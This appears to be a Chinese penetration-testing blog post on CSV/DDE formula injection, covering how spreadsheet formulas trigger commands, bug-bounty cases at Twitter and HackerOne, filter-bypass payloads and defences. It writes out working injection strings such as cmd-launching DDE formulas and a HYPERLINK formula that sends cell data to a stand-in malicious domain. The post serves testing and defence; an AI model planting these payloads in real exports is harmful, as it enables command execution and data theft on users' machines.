pb 如何导出csv_DDE注入(CSV)漏洞原理及实战案例全汇总

在渗透中遇到导出功能时,会如何进行测试?任意文件下载?或者越权查看?很多人很容易忽略的是DDE注入:导出格式为csv,xls时,或许你可以尝试构造这个漏洞,它不会对网站本身产生危害,但会对终端用户造成任意OS命令执行等危害。

234facdc6bfc8f4349288172150ef3c7.png


1、漏洞原理:

1)Excel解析机制

第一个需要知道的知识点是,在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入“=2+5”,则表格会显示为:

daf724ea74c56c3a8890479b36aafe19.png

  实际上,除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:

  • 等于(“=”)

  • 加(“+”)

  • 减号(“ - ”)

  • 在 (”@”)

这个可以帮助我们在等号=被过滤时,使用其他运算符绕过。

2)DDE注入

动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:

=cmd | '/ C calc' !A0

Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”:

a9573a4688dcd47dfd7f4ecfd74e65be.png

而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:

a7f32ad1e17c9cefe10b94e5cd8084e3.png

所以攻击的路线就很清晰了:

业务系统接受用户输入并导出为csv——>恶意用户通过界面输入payload——>受害者下载文件并在PC运行——>受害者PC被攻击。因此DDE注入攻击是一种攻击源来自网站,但最终目标是普通用户PC的一种攻击。

2、漏洞危害:

1)OS命令执行

  OS任意命令执行是最主要的危害,像上面讲过的,可以使用= cmd | '/ C calc' !A0弹计算器或者使用=cmd|'/k ipconfig'!A0弹出ipconfig命令的方式探测漏洞是否存在。类比XSS的利用思路,如果系统可以实现alert(1)弹框效果,说明我们可以执行任意的js代码,这取决于我们的利用思路。比如:

  • 添加用户;

  • 开启任意应用程序:IE;

  • 操作注册表;

  • 反弹shell;

2)信息泄露

  超链接功能 Hyperlink创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:

6df3f8374af538ebb8ac302b68378c2b.png

  可将表格其中一个单元格设置为以下形式:

=HYPERLINK(“https://maliciousDomain.com/evil.html?data=”&A1,“Click to view additional information”)”

将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据到maliciousDomain.com,从而导致信息泄露。当然使用第一种攻击方式也可以实现这种攻击效果,如:

=6-5 cmd|’ /C “C:\Program Files\InternetExplorer\iexplore.exe” http:///asd.html’!A0

它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作。

3、实战案例

1)Twitter导出数据处DDE

 Twitter用户发帖,输入:

50d80e69fcac48ee32da3d57c994faac.png

 界面导出数据处,导出csv文件并在Excel中查看:

ebeb2ade20321a53874680b411608220.png

 若输入payload:=cmd|' /Ccalc'!A0再次执行,弹出计算器:

2c6f0315c9dfae8fd67861fd467dd4a0.png

2)Hackerone报告导出

 这是对于Hackerone过滤的一个绕过,网站后台对于等号=之前新增单引号‘以防止公式执行。但在报告导出功能处参数title输入:

%0A-2+3+cmd|' /C calc'!D2:

d58e73d6b5a4a1e5496cbdbc211a61fd.png  %0A被解析为换行符,使得payload正常执行:

972f1b75d109ad4fc31de5482f7ff269.png

3)Hackerone过滤绕过

这是对后台过滤的第二次绕过,在等号前加一个分号;可绕过:

;=cmd|' /C calc'!A0

fe9838c90c5a1d61aa1024ebe14c701c.png

Excel识别并解析分隔符;,将数据拆分并执行:

422982179e43e3d90894bb3c578dbf0f.png

4、挖掘思路:

此漏洞特征较明显,因此思路简单:

1、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;

2、确定导出的内容是否用户可控:

1)可能在界面可直接进行编辑/新增;

2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;

3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析,输入:

966f90537bc4d4138a01df617b3c76a1.png

导出后查看,成功解析:

5a792cfc5da9f69214e2d4dedea8b643.png

4、存在过滤,尝试绕过,最后进行OS执行等深入利用。

5、绕过技巧:

根据案例和挖掘经验,总结常用的绕过payload有:

1、-3+2+cmd |’ /C calc’ !A0

  在等于号被过滤时,可以通过运算符+-的方式绕过;

2、%0A-3+3+cmd|' /C calc'!D2

参数处输入此payload,%0A被解析,从而后面的数据跳转到下一行;

3、;-3+3+cmd|' /C calc'!D2

导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行,本机测试:

ab5fd5125c2fefe584d72a7394ccc2e8.png

4、@SUM(cmd|'/c calc'!A0)

5、=HYPERLINK("https://evil.com")

6、防御手段

1)一般的防御手段为,在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。

2)更好的防御手段为,根据业务需求控制用户输入为字母数字字符;或黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值